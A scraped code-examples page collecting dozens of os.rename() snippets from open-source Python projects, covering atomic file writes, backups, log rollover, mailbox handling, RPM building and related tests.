Python os.rename() Examples

The following are code examples for showing how to use os.rename(). They are from open source Python projects. You can vote up the examples you like or vote down the ones you don't like.

Example 1
Project: dynamic-training-with-apache-mxnet-on-aws   Author: awslabs   File: get_data.py    Apache License 2.0 7 votes vote down vote up
def get_cifar10(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    cwd = os.path.abspath(os.getcwd())
    os.chdir(data_dir)
    if (not os.path.exists('train.rec')) or \
       (not os.path.exists('test.rec')) :
        import urllib, zipfile, glob
        dirname = os.getcwd()
        zippath = os.path.join(dirname, "cifar10.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/cifar10.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
        for f in glob.glob(os.path.join(dirname, "cifar", "*")):
            name = f.split(os.path.sep)[-1]
            os.rename(f, os.path.join(dirname, name))
        os.rmdir(os.path.join(dirname, "cifar"))
    os.chdir(cwd)

# data 
Example 2
Project: fs_image   Author: facebookincubator   File: temp_repos.py    MIT License 6 votes vote down vote up
def build_rpm(package_dir: Path, arch: str, rpm: Rpm) -> bytes:
    'Returns the filename of the built RPM.'
    with temp_dir(dir=package_dir) as td, tempfile.NamedTemporaryFile() as tf:
        tf.write(rpm.spec().encode())
        tf.flush()
        subprocess.run(
            [
                rpmbuild_path(), '-bb', '--target', arch,
                '--buildroot', td / 'build', tf.name,
            ],
            env={'HOME': td / 'home'},
            check=True,
        )
        # `rpmbuild` has a non-configurable output layout, so
        # we'll move the resulting rpm into our package dir.
        rpms_dir = td / 'home/rpmbuild/RPMS' / arch
        rpm_name, = os.listdir(rpms_dir)
        os.rename(rpms_dir / rpm_name, package_dir / rpm_name)
        return rpm_name 
Example 3
Project: alfred-yubikey-otp   Author: robertoriv   File: util.py    MIT License 6 votes vote down vote up
def atomic_writer(fpath, mode):
    """Atomic file writer.

    .. versionadded:: 1.12

    Context manager that ensures the file is only written if the write
    succeeds. The data is first written to a temporary file.

    :param fpath: path of file to write to.
    :type fpath: ``unicode``
    :param mode: sames as for :func:`open`
    :type mode: string

    """
    suffix = '.{}.tmp'.format(os.getpid())
    temppath = fpath + suffix
    with open(temppath, mode) as fp:
        try:
            yield fp
            os.rename(temppath, fpath)
        finally:
            try:
                os.remove(temppath)
            except (OSError, IOError):
                pass 
Example 4
Project: pyblish-win   Author: pyblish   File: webchecker.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def save_pickle(self, dumpfile=DUMPFILE):
        if not self.changed:
            self.note(0, "\nNo need to save checkpoint")
        elif not dumpfile:
            self.note(0, "No dumpfile, won't save checkpoint")
        else:
            self.note(0, "\nSaving checkpoint to %s ...", dumpfile)
            newfile = dumpfile + ".new"
            f = open(newfile, "wb")
            pickle.dump(self, f)
            f.close()
            try:
                os.unlink(dumpfile)
            except os.error:
                pass
            os.rename(newfile, dumpfile)
            self.note(0, "Done.")
            return 1 
Example 5
Project: pyblish-win   Author: pyblish   File: websucker.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def makedirs(dir):
    if not dir:
        return
    if os.path.exists(dir):
        if not os.path.isdir(dir):
            try:
                os.rename(dir, dir + ".bak")
                os.mkdir(dir)
                os.rename(dir + ".bak", os.path.join(dir, "index.html"))
            except os.error:
                pass
        return
    head, tail = os.path.split(dir)
    if not tail:
        print "Huh?  Don't know how to make dir", dir
        return
    makedirs(head)
    os.mkdir(dir, 0777) 
Example 6
Project: pyblish-win   Author: pyblish   File: pindent.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def make_backup(filename):
    import os, os.path
    backup = filename + '~'
    if os.path.lexists(backup):
        try:
            os.remove(backup)
        except os.error:
            print("Can't remove backup %r" % (backup,), file=sys.stderr)
        # end try
    # end if
    try:
        os.rename(filename, backup)
    except os.error:
        print("Can't rename %r to %r" % (filename, backup), file=sys.stderr)
    # end try
# end def make_backup 
Example 7
Project: pyblish-win   Author: pyblish   File: ftpmirror.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def writedict(dict, filename):
    dir, fname = os.path.split(filename)
    tempname = os.path.join(dir, '@' + fname)
    backup = os.path.join(dir, fname + '~')
    try:
        os.unlink(backup)
    except os.error:
        pass
    fp = open(tempname, 'w')
    fp.write('{\n')
    for key, value in dict.items():
        fp.write('%r: %r,\n' % (key, value))
    fp.write('}\n')
    fp.close()
    try:
        os.rename(filename, backup)
    except os.error:
        pass
    os.rename(tempname, filename) 
Example 8
Project: pyblish-win   Author: pyblish   File: fixnotice.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def process(file):
    f = open(file)
    data = f.read()
    f.close()
    i = data.find(OLD_NOTICE)
    if i < 0:
        if VERBOSE:
            print 'no change:', file
        return
    elif DRYRUN or VERBOSE:
        print '   change:', file
    if DRYRUN:
        # Don't actually change the file
        return
    data = data[:i] + NEW_NOTICE + data[i+len(OLD_NOTICE):]
    new = file + ".new"
    backup = file + ".bak"
    f = open(new, "w")
    f.write(data)
    f.close()
    os.rename(file, backup)
    os.rename(new, file) 
Example 9
Project: pyblish-win   Author: pyblish   File: handlers.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def doRollover(self):
        """
        Do a rollover, as described in __init__().
        """
        if self.stream:
            self.stream.close()
            self.stream = None
        if self.backupCount > 0:
            for i in range(self.backupCount - 1, 0, -1):
                sfn = "%s.%d" % (self.baseFilename, i)
                dfn = "%s.%d" % (self.baseFilename, i + 1)
                if os.path.exists(sfn):
                    #print "%s -> %s" % (sfn, dfn)
                    if os.path.exists(dfn):
                        os.remove(dfn)
                    os.rename(sfn, dfn)
            dfn = self.baseFilename + ".1"
            if os.path.exists(dfn):
                os.remove(dfn)
            # Issue 18940: A file may not have been created if delay is True.
            if os.path.exists(self.baseFilename):
                os.rename(self.baseFilename, dfn)
        if not self.delay:
            self.stream = self._open() 
Example 10
Project: pyblish-win   Author: pyblish   File: mhlib.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def refilemessages(self, list, tofolder, keepsequences=0):
        """Refile one or more messages -- may raise os.error.
        'tofolder' is an open folder object."""
        errors = []
        refiled = {}
        for n in list:
            ton = tofolder.getlast() + 1
            path = self.getmessagefilename(n)
            topath = tofolder.getmessagefilename(ton)
            try:
                os.rename(path, topath)
            except os.error:
                # Try copying
                try:
                    shutil.copy2(path, topath)
                    os.unlink(path)
                except (IOError, os.error), msg:
                    errors.append(msg)
                    try:
                        os.unlink(topath)
                    except os.error:
                        pass
                    continue
            tofolder.setlast(ton)
            refiled[n] = ton 
Example 11
Project: pyblish-win   Author: pyblish   File: mhlib.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def copymessage(self, n, tofolder, ton):
        """Copy one message over a specific destination message,
        which may or may not already exist."""
        path = self.getmessagefilename(n)
        # Open it to check that it exists
        f = open(path)
        f.close()
        del f
        topath = tofolder.getmessagefilename(ton)
        backuptopath = tofolder.getmessagefilename(',%d' % ton)
        try:
            os.rename(topath, backuptopath)
        except os.error:
            pass
        ok = 0
        try:
            tofolder.setlast(None)
            shutil.copy2(path, topath)
            ok = 1
        finally:
            if not ok:
                try:
                    os.unlink(topath)
                except os.error:
                    pass 
Example 12
Project: pyblish-win   Author: pyblish   File: mhlib.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def createmessage(self, n, txt):
        """Create a message, with text from the open file txt."""
        path = self.getmessagefilename(n)
        backuppath = self.getmessagefilename(',%d' % n)
        try:
            os.rename(path, backuppath)
        except os.error:
            pass
        ok = 0
        BUFSIZE = 16*1024
        try:
            f = open(path, "w")
            while 1:
                buf = txt.read(BUFSIZE)
                if not buf:
                    break
                f.write(buf)
            f.close()
            ok = 1
        finally:
            if not ok:
                try:
                    os.unlink(path)
                except os.error:
                    pass 
Example 13
Project: pyblish-win   Author: pyblish   File: mailbox.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def pack(self):
        """Re-name messages to eliminate numbering gaps. Invalidates keys."""
        sequences = self.get_sequences()
        prev = 0
        changes = []
        for key in self.iterkeys():
            if key - 1 != prev:
                changes.append((key, prev + 1))
                if hasattr(os, 'link'):
                    os.link(os.path.join(self._path, str(key)),
                            os.path.join(self._path, str(prev + 1)))
                    os.unlink(os.path.join(self._path, str(key)))
                else:
                    os.rename(os.path.join(self._path, str(key)),
                              os.path.join(self._path, str(prev + 1)))
            prev += 1
        self._next_key = prev + 1
        if len(changes) == 0:
            return
        for name, key_list in sequences.items():
            for old, new in changes:
                if old in key_list:
                    key_list[key_list.index(old)] = new
        self.set_sequences(sequences) 
Example 14
Project: pyblish-win   Author: pyblish   File: test_unicode_file.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def _do_copyish(self, filename1, filename2):
        # Should be able to rename the file using either name.
        self.assertTrue(os.path.isfile(filename1)) # must exist.
        os.rename(filename1, filename2 + ".new")
        self.assertTrue(os.path.isfile(filename1+".new"))
        os.rename(filename1 + ".new", filename2)
        self.assertTrue(os.path.isfile(filename2))

        shutil.copy(filename1, filename2 + ".new")
        os.unlink(filename1 + ".new") # remove using equiv name.
        # And a couple of moves, one using each name.
        shutil.move(filename1, filename2 + ".new")
        self.assertTrue(not os.path.exists(filename2))
        shutil.move(filename1 + ".new", filename2)
        self.assertTrue(os.path.exists(filename1))
        # Note - due to the implementation of shutil.move,
        # it tries a rename first.  This only fails on Windows when on
        # different file systems - and this test can't ensure that.
        # So we test the shutil.copy2 function, which is the thing most
        # likely to fail.
        shutil.copy2(filename1, filename2 + ".new")
        os.unlink(filename1 + ".new") 
Example 15
Project: pyblish-win   Author: pyblish   File: mimify.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def mimify(infile, outfile):
    """Convert 8bit parts of a MIME mail message to quoted-printable."""
    if type(infile) == type(''):
        ifile = open(infile)
        if type(outfile) == type('') and infile == outfile:
            import os
            d, f = os.path.split(infile)
            os.rename(infile, os.path.join(d, ',' + f))
    else:
        ifile = infile
    if type(outfile) == type(''):
        ofile = open(outfile, 'w')
    else:
        ofile = outfile
    nifile = File(ifile, None)
    mimify_part(nifile, ofile, 0)
    ofile.flush() 
Example 16
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: util.py    MIT License 6 votes vote down vote up
def atomic_writer(fpath, mode):
    """Atomic file writer.

    .. versionadded:: 1.12

    Context manager that ensures the file is only written if the write
    succeeds. The data is first written to a temporary file.

    :param fpath: path of file to write to.
    :type fpath: ``unicode``
    :param mode: sames as for :func:`open`
    :type mode: string

    """
    suffix = '.{}.tmp'.format(os.getpid())
    temppath = fpath + suffix
    with open(temppath, mode) as fp:
        try:
            yield fp
            os.rename(temppath, fpath)
        finally:
            try:
                os.remove(temppath)
            except (OSError, IOError):
                pass 
Example 17
Project: Collaborative-Learning-for-Weakly-Supervised-Object-Detection   Author: Sunarker   File: mcg_munge.py    MIT License 6 votes vote down vote up
def munge(src_dir):
    # stored as: ./MCG-COCO-val2014-boxes/COCO_val2014_000000193401.mat
    # want:      ./MCG/mat/COCO_val2014_0/COCO_val2014_000000141/COCO_val2014_000000141334.mat

    files = os.listdir(src_dir)
    for fn in files:
        base, ext = os.path.splitext(fn)
        # first 14 chars / first 22 chars / all chars + .mat
        # COCO_val2014_0/COCO_val2014_000000447/COCO_val2014_000000447991.mat
        first = base[:14]
        second = base[:22]
        dst_dir = os.path.join('MCG', 'mat', first, second)
        if not os.path.exists(dst_dir):
            os.makedirs(dst_dir)
        src = os.path.join(src_dir, fn)
        dst = os.path.join(dst_dir, fn)
        print 'MV: {} -> {}'.format(src, dst)
        os.rename(src, dst) 
Example 18
Project: Flask-Python-GAE-Login-Registration   Author: orymeyer   File: posixemulation.py    Apache License 2.0 6 votes vote down vote up
def _rename_atomic(src, dst):
            ta = _CreateTransaction(None, 0, 0, 0, 0, 1000, 'Werkzeug rename')
            if ta == -1:
                return False
            try:
                retry = 0
                rv = False
                while not rv and retry < 100:
                    rv = _MoveFileTransacted(src, dst, None, None,
                                             _MOVEFILE_REPLACE_EXISTING |
                                             _MOVEFILE_WRITE_THROUGH, ta)
                    if rv:
                        rv = _CommitTransaction(ta)
                        break
                    else:
                        time.sleep(0.001)
                        retry += 1
                return rv
            finally:
                _CloseHandle(ta) 
Example 19
Project: Flask-Python-GAE-Login-Registration   Author: orymeyer   File: posixemulation.py    Apache License 2.0 6 votes vote down vote up
def rename(src, dst):
        # Try atomic or pseudo-atomic rename
        if _rename(src, dst):
            return
        # Fall back to "move away and replace"
        try:
            os.rename(src, dst)
        except OSError as e:
            if e.errno != errno.EEXIST:
                raise
            old = "%s-%08x" % (dst, random.randint(0, sys.maxint))
            os.rename(dst, old)
            os.rename(src, dst)
            try:
                os.unlink(old)
            except Exception:
                pass 
Example 20
Project: Flask-Python-GAE-Login-Registration   Author: orymeyer   File: posixemulation.py    Apache License 2.0 6 votes vote down vote up
def _rename_atomic(src, dst):
            ta = _CreateTransaction(None, 0, 0, 0, 0, 1000, 'Werkzeug rename')
            if ta == -1:
                return False
            try:
                retry = 0
                rv = False
                while not rv and retry < 100:
                    rv = _MoveFileTransacted(src, dst, None, None,
                                             _MOVEFILE_REPLACE_EXISTING |
                                             _MOVEFILE_WRITE_THROUGH, ta)
                    if rv:
                        rv = _CommitTransaction(ta)
                        break
                    else:
                        time.sleep(0.001)
                        retry += 1
                return rv
            finally:
                _CloseHandle(ta) 
Example 21
Project: Flask-Python-GAE-Login-Registration   Author: orymeyer   File: posixemulation.py    Apache License 2.0 6 votes vote down vote up
def rename(src, dst):
        # Try atomic or pseudo-atomic rename
        if _rename(src, dst):
            return
        # Fall back to "move away and replace"
        try:
            os.rename(src, dst)
        except OSError as e:
            if e.errno != errno.EEXIST:
                raise
            old = "%s-%08x" % (dst, random.randint(0, sys.maxint))
            os.rename(dst, old)
            os.rename(src, dst)
            try:
                os.unlink(old)
            except Exception:
                pass 
Example 22
Project: kvmd   Author: pikvm   File: __init__.py    GNU General Public License v3.0 6 votes vote down vote up
def _get_htpasswd_for_write(config: Section) -> Generator[passlib.apache.HtpasswdFile, None, None]:
    path = _get_htpasswd_path(config)
    (tmp_fd, tmp_path) = tempfile.mkstemp(
        prefix=f".{os.path.basename(path)}.",
        dir=os.path.dirname(path),
    )
    try:
        try:
            st = os.stat(path)
            with open(path, "rb") as htpasswd_file:
                os.write(tmp_fd, htpasswd_file.read())
                os.fchown(tmp_fd, st.st_uid, st.st_gid)
                os.fchmod(tmp_fd, st.st_mode)
        finally:
            os.close(tmp_fd)
        htpasswd = passlib.apache.HtpasswdFile(tmp_path)
        yield htpasswd
        htpasswd.save()
        os.rename(tmp_path, path)
    finally:
        if os.path.exists(tmp_path):
            os.remove(tmp_path)


# ==== 
Example 23
Project: face-attendance-machine   Author: matiji66   File: rename_file.py    Apache License 2.0 6 votes vote down vote up
def change_name(path):
    global i
    if not os.path.isdir(path) and not os.path.isfile(path):
        return False
    if os.path.isfile(path):
        file_path = os.path.split(path)  # 分割出目录与文件
        lists = file_path[1].split('.')  # 分割出文件与文件扩展名
        file_ext = lists[-1]  # 取出后缀名(列表切片操作)
        img_ext = ['bmp', 'jpeg', 'gif', 'psd', 'png', 'jpg']
        if file_ext in img_ext:
            os.rename(path, file_path[0] + '/' + lists[0] + '_fc.' + file_ext)
            i += 1  # 注意这里的i是一个陷阱
        # 或者
        # img_ext = 'bmp|jpeg|gif|psd|png|jpg'
        # if file_ext in img_ext:
        #    print('ok---'+file_ext)
    elif os.path.isdir(path):
        for x in os.listdir(path):
            change_name(os.path.join(path, x))  # os.path.join()在路径处理上很有用 
Example 24
Project: Ansible-Example-AB2018   Author: umit-ozturk   File: deploy_helper.py    MIT License 6 votes vote down vote up
def create_link(self, source, link_name):
        changed = False

        if os.path.islink(link_name):
            norm_link = os.path.normpath(os.path.realpath(link_name))
            norm_source = os.path.normpath(os.path.realpath(source))
            if norm_link == norm_source:
                changed = False
            else:
                changed = True
                if not self.module.check_mode:
                    if not os.path.lexists(source):
                        self.module.fail_json(msg="the symlink target %s doesn't exists" % source)
                    tmp_link_name = link_name + '.' + self.unfinished_filename
                    if os.path.islink(tmp_link_name):
                        os.unlink(tmp_link_name)
                    os.symlink(source, tmp_link_name)
                    os.rename(tmp_link_name, link_name)
        else:
            changed = True
            if not self.module.check_mode:
                os.symlink(source, link_name)

        return changed 
Example 25
Project: neural-pipeline   Author: toodef   File: fsm.py    MIT License 6 votes vote down vote up
def pack(self) -> None:
        """
        Pack all files in zip
        """

        def rm_file(file: str):
            if os.path.exists(file) and os.path.isfile(file):
                os.remove(file)

        def rename_file(file: str):
            target = file + ".old"
            rm_file(target)
            if os.path.exists(file) and os.path.isfile(file):
                os.rename(file, target)

        self._check_files([self._weights_file, self._state_file])

        rename_file(self._checkpoint_file)
        with ZipFile(self._checkpoint_file, 'w') as zipfile:
            zipfile.write(self._weights_file, os.path.basename(self._weights_file))
            zipfile.write(self._state_file, os.path.basename(self._state_file))
            zipfile.write(self._trainer_file, os.path.basename(self._trainer_file))

        self.clear_files() 
Example 26
Project: flasky   Author: RoseOu   File: posixemulation.py    MIT License 6 votes vote down vote up
def _rename_atomic(src, dst):
            ta = _CreateTransaction(None, 0, 0, 0, 0, 1000, 'Werkzeug rename')
            if ta == -1:
                return False
            try:
                retry = 0
                rv = False
                while not rv and retry < 100:
                    rv = _MoveFileTransacted(src, dst, None, None,
                                             _MOVEFILE_REPLACE_EXISTING |
                                             _MOVEFILE_WRITE_THROUGH, ta)
                    if rv:
                        rv = _CommitTransaction(ta)
                        break
                    else:
                        time.sleep(0.001)
                        retry += 1
                return rv
            finally:
                _CloseHandle(ta) 
Example 27
Project: flasky   Author: RoseOu   File: posixemulation.py    MIT License 6 votes vote down vote up
def rename(src, dst):
        # Try atomic or pseudo-atomic rename
        if _rename(src, dst):
            return
        # Fall back to "move away and replace"
        try:
            os.rename(src, dst)
        except OSError as e:
            if e.errno != errno.EEXIST:
                raise
            old = "%s-%08x" % (dst, random.randint(0, sys.maxint))
            os.rename(dst, old)
            os.rename(src, dst)
            try:
                os.unlink(old)
            except Exception:
                pass 
Example 28
Project: flasky   Author: RoseOu   File: pidfile.py    MIT License 6 votes vote down vote up
def create(self, pid):
        oldpid = self.validate()
        if oldpid:
            if oldpid == os.getpid():
                return
            msg = "Already running on PID %s (or pid file '%s' is stale)"
            raise RuntimeError(msg % (oldpid, self.fname))

        self.pid = pid

        # Write pidfile
        fdir = os.path.dirname(self.fname)
        if fdir and not os.path.isdir(fdir):
            raise RuntimeError("%s doesn't exist. Can't create pidfile." % fdir)
        fd, fname = tempfile.mkstemp(dir=fdir)
        os.write(fd, ("%s\n" % self.pid).encode('utf-8'))
        if self.fname:
            os.rename(fname, self.fname)
        else:
            self.fname = fname
        os.close(fd)

        # set permissions to -rw-r--r--
        os.chmod(self.fname, 420) 
Example 29
Project: fs_image   Author: facebookincubator   File: update_package_db.py    MIT License 5 votes vote down vote up
def _populate_temp_file_and_rename(dest_path: Path, *, mode='w'):
    with tempfile.NamedTemporaryFile(
        mode=mode, dir=dest_path.dirname(), delete=False,
    ) as tf:
        try:
            yield tf
        except BaseException:
            os.unlink(tf.name)
            raise
        # NB: This will fail to replace a directory, preventing us from
        # transparently converting JSON to BZL databases without using
        # `--out-db`.  This is fine since the DB paths should look different
        # anyhow (`dirname` vs `filename.bzl`).
        os.rename(tf.name, dest_path) 
Example 30
Project: fs_image   Author: facebookincubator   File: temp_snapshot.py    MIT License 5 votes vote down vote up
def make_temp_snapshot(
    repos, out_dir, gpg_key_path, gpg_key_whitelist_dir,
) -> Path:
    'Generates temporary RPM repo snapshots for tests to use as inputs.'
    snapshot_dir = out_dir / 'temp_snapshot_dir'
    os.mkdir(snapshot_dir)

    with temp_repos_steps(repo_change_steps=[repos]) as repos_root:
        snapshot_repos(
            dest=snapshot_dir,
            # Snapshot the 0th step only, since only that is defined
            yum_conf_content=_make_test_yum_dnf_conf(
                'yum', repos_root / '0', gpg_key_path,
            ),
            dnf_conf_content=_make_test_yum_dnf_conf(
                'dnf', repos_root / '0', gpg_key_path,
            ),
            repo_db_ctx=RepoDBContext(
                DBConnectionContext.make(
                    kind='sqlite', db_path=(out_dir / 'db.sqlite3').decode(),
                ),
                SQLDialect.SQLITE3,
            ),
            storage=Storage.make(
                key='test',
                kind='filesystem',
                base_dir=(out_dir / 'storage').decode(),
            ),
            rpm_shard=RpmShard(shard=0, modulo=1),
            gpg_key_whitelist_dir=no_gpg_keys_yet,
            retries=0,  # Nothing here should require retries, it's a bug.
        )

    # Merge the repo snapshot with the storage & RPM DB -- this makes our
    # test snapshot build target look very much like prod snapshots.
    for f in os.listdir(snapshot_dir):
        assert not os.path.exists(out_dir / f), f'Must not overwrite {f}'
        os.rename(snapshot_dir / f, out_dir / f)
    os.rmdir(snapshot_dir) 
Example 31
Project: fs_image   Author: facebookincubator   File: subvol_utils.py    MIT License 5 votes vote down vote up
def receive(self, from_file):
        # At present, we always have an empty wrapper dir to receive into.
        # If this changes, we could make a tempdir inside `parent_fd`.
        with open_fd(
            os.path.dirname(self.path()), os.O_RDONLY | os.O_DIRECTORY,
        ) as parent_fd:
            wrapper_dir_contents = os.listdir(parent_fd)
            assert wrapper_dir_contents == [], wrapper_dir_contents
            try:
                with self.popen_as_root([
                    'btrfs', 'receive',
                    # Future: If we get `pass_fds` support, use `/proc/self/fd'
                    Path('/proc') / str(os.getpid()) / 'fd' / str(parent_fd),
                ], _subvol_exists=False, stdin=from_file):
                    yield
            finally:
                received_names = os.listdir(parent_fd)
                assert len(received_names) <= 1, received_names
                if received_names:
                    os.rename(
                        received_names[0],
                        os.path.basename(self.path()),
                        src_dir_fd=parent_fd,
                        dst_dir_fd=parent_fd,
                    )
                    # This may be a **partially received** subvol.  If these
                    # semantics turn out to be broken for our purposes, we
                    # can try to clean up the subvolume on error instead,
                    # but at present it seems easier to leak it, and let the
                    # GC code delete it later.
                    self._exists = True 
Example 32
Project: leapp-repository   Author: oamg   File: ntp2chrony.py    Apache License 2.0 5 votes vote down vote up
def write_file(self, path, mode, content, backup):
        path = self.root_dir + path
        if backup and os.path.isfile(path):
            os.rename(path, path + ".old")

        with open(os.open(path, os.O_CREAT | os.O_WRONLY | os.O_EXCL, mode), "w",
                  encoding=self.file_encoding) as f:
            logging.info("Writing %s", path)
            f.write(u"" + content)

        # Fix SELinux context if restorecon is installed
        try:
            subprocess.call(["restorecon", path])
        except OSError:
            pass 
Example 33
Project: pyblish-win   Author: pyblish   File: shutil.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def move(src, dst):
    """Recursively move a file or directory to another location. This is
    similar to the Unix "mv" command.

    If the destination is a directory or a symlink to a directory, the source
    is moved inside the directory. The destination path must not already
    exist.

    If the destination already exists but is not a directory, it may be
    overwritten depending on os.rename() semantics.

    If the destination is on our current filesystem, then rename() is used.
    Otherwise, src is copied to the destination and then removed.
    A lot more could be done here...  A look at a mv.c shows a lot of
    the issues this implementation glosses over.

    """
    real_dst = dst
    if os.path.isdir(dst):
        if _samefile(src, dst):
            # We might be on a case insensitive filesystem,
            # perform the rename anyway.
            os.rename(src, dst)
            return

        real_dst = os.path.join(dst, _basename(src))
        if os.path.exists(real_dst):
            raise Error, "Destination path '%s' already exists" % real_dst
    try:
        os.rename(src, real_dst)
    except OSError:
        if os.path.isdir(src):
            if _destinsrc(src, dst):
                raise Error, "Cannot move a directory '%s' into itself '%s'." % (src, dst)
            copytree(src, real_dst, symlinks=True)
            rmtree(src)
        else:
            copy2(src, real_dst)
            os.unlink(src) 
Example 34
Project: pyblish-win   Author: pyblish   File: mhlib.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def movemessage(self, n, tofolder, ton):
        """Move one message over a specific destination message,
        which may or may not already exist."""
        path = self.getmessagefilename(n)
        # Open it to check that it exists
        f = open(path)
        f.close()
        del f
        topath = tofolder.getmessagefilename(ton)
        backuptopath = tofolder.getmessagefilename(',%d' % ton)
        try:
            os.rename(topath, backuptopath)
        except os.error:
            pass
        try:
            os.rename(path, topath)
        except os.error:
            # Try copying
            ok = 0
            try:
                tofolder.setlast(None)
                shutil.copy2(path, topath)
                ok = 1
            finally:
                if not ok:
                    try:
                        os.unlink(topath)
                    except os.error:
                        pass
            os.unlink(path)
        self.removefromallsequences([n]) 
Example 35
Project: pyblish-win   Author: pyblish   File: mhlib.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def updateline(file, key, value, casefold = 1):
    try:
        f = open(file, 'r')
        lines = f.readlines()
        f.close()
    except IOError:
        lines = []
    pat = re.escape(key) + ':(.*)\n'
    prog = re.compile(pat, casefold and re.IGNORECASE)
    if value is None:
        newline = None
    else:
        newline = '%s: %s\n' % (key, value)
    for i in range(len(lines)):
        line = lines[i]
        if prog.match(line):
            if newline is None:
                del lines[i]
            else:
                lines[i] = newline
            break
    else:
        if newline is not None:
            lines.append(newline)
    tempfile = file + "~"
    f = open(tempfile, 'w')
    for line in lines:
        f.write(line)
    f.close()
    os.rename(tempfile, file)


# Test program 
Example 36
Project: pyblish-win   Author: pyblish   File: mailbox.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def __setitem__(self, key, message):
        """Replace the keyed message; raise KeyError if it doesn't exist."""
        old_subpath = self._lookup(key)
        temp_key = self.add(message)
        temp_subpath = self._lookup(temp_key)
        if isinstance(message, MaildirMessage):
            # temp's subdir and suffix were specified by message.
            dominant_subpath = temp_subpath
        else:
            # temp's subdir and suffix were defaults from add().
            dominant_subpath = old_subpath
        subdir = os.path.dirname(dominant_subpath)
        if self.colon in dominant_subpath:
            suffix = self.colon + dominant_subpath.split(self.colon)[-1]
        else:
            suffix = ''
        self.discard(key)
        tmp_path = os.path.join(self._path, temp_subpath)
        new_path = os.path.join(self._path, subdir, key + suffix)
        if isinstance(message, MaildirMessage):
            os.utime(tmp_path,
                     (os.path.getatime(tmp_path), message.get_date()))
        # No file modification should be done after the file is moved to its
        # final position in order to prevent race conditions with changes
        # from other programs
        os.rename(tmp_path, new_path) 
Example 37
Project: pyblish-win   Author: pyblish   File: mailbox.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def add(self, message):
        """Add message and return assigned key."""
        self._lookup()
        self._toc[self._next_key] = self._append_message(message)
        self._next_key += 1
        # _append_message appends the message to the mailbox file. We
        # don't need a full rewrite + rename, sync is enough.
        self._pending_sync = True
        return self._next_key - 1 
Example 38
Project: pyblish-win   Author: pyblish   File: mailbox.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def _lock_file(f, dotlock=True):
    """Lock file f using lockf and dot locking."""
    dotlock_done = False
    try:
        if fcntl:
            try:
                fcntl.lockf(f, fcntl.LOCK_EX | fcntl.LOCK_NB)
            except IOError, e:
                if e.errno in (errno.EAGAIN, errno.EACCES, errno.EROFS):
                    raise ExternalClashError('lockf: lock unavailable: %s' %
                                             f.name)
                else:
                    raise
        if dotlock:
            try:
                pre_lock = _create_temporary(f.name + '.lock')
                pre_lock.close()
            except IOError, e:
                if e.errno in (errno.EACCES, errno.EROFS):
                    return  # Without write access, just skip dotlocking.
                else:
                    raise
            try:
                if hasattr(os, 'link'):
                    os.link(pre_lock.name, f.name + '.lock')
                    dotlock_done = True
                    os.unlink(pre_lock.name)
                else:
                    os.rename(pre_lock.name, f.name + '.lock')
                    dotlock_done = True
            except OSError, e:
                if e.errno == errno.EEXIST or \
                  (os.name == 'os2' and e.errno == errno.EACCES):
                    os.remove(pre_lock.name)
                    raise ExternalClashError('dot lock unavailable: %s' %
                                             f.name)
                else:
                    raise 
Example 39
Project: pyblish-win   Author: pyblish   File: test_os.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_rename(self):
        self.assertRaises(WindowsError, os.rename, test_support.TESTFN, test_support.TESTFN+".bak") 
Example 40
Project: pyblish-win   Author: pyblish   File: test_pep277.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_rename(self):
        for name in self.files:
            os.rename(name, "tmp")
            os.rename("tmp", name) 
Example 41
Project: pyblish-win   Author: pyblish   File: test_unicode_file.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def _do_single(self, filename):
        self.assertTrue(os.path.exists(filename))
        self.assertTrue(os.path.isfile(filename))
        self.assertTrue(os.access(filename, os.R_OK))
        self.assertTrue(os.path.exists(os.path.abspath(filename)))
        self.assertTrue(os.path.isfile(os.path.abspath(filename)))
        self.assertTrue(os.access(os.path.abspath(filename), os.R_OK))
        os.chmod(filename, 0777)
        os.utime(filename, None)
        os.utime(filename, (time.time(), time.time()))
        # Copy/rename etc tests using the same filename
        self._do_copyish(filename, filename)
        # Filename should appear in glob output
        self.assertTrue(
            os.path.abspath(filename)==os.path.abspath(glob.glob(filename)[0]))
        # basename should appear in listdir.
        path, base = os.path.split(os.path.abspath(filename))
        if isinstance(base, str):
            base = base.decode(TESTFN_ENCODING)
        file_list = os.listdir(path)
        # listdir() with a unicode arg may or may not return Unicode
        # objects, depending on the platform.
        if file_list and isinstance(file_list[0], str):
            file_list = [f.decode(TESTFN_ENCODING) for f in file_list]

        # Normalize the unicode strings, as round-tripping the name via the OS
        # may return a different (but equivalent) value.
        base = unicodedata.normalize("NFD", base)
        file_list = [unicodedata.normalize("NFD", f) for f in file_list]

        self.assertIn(base, file_list)

    # Do as many "equivalancy' tests as we can - ie, check that although we
    # have different types for the filename, they refer to the same file. 
Example 42
Project: pyblish-win   Author: pyblish   File: test_unicode_file.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def _do_equivalent(self, filename1, filename2):
        # Note we only check "filename1 against filename2" - we don't bother
        # checking "filename2 against 1", as we assume we are called again with
        # the args reversed.
        self.assertTrue(type(filename1)!=type(filename2),
                    "No point checking equivalent filenames of the same type")
        # stat and lstat should return the same results.
        self.assertEqual(os.stat(filename1),
                             os.stat(filename2))
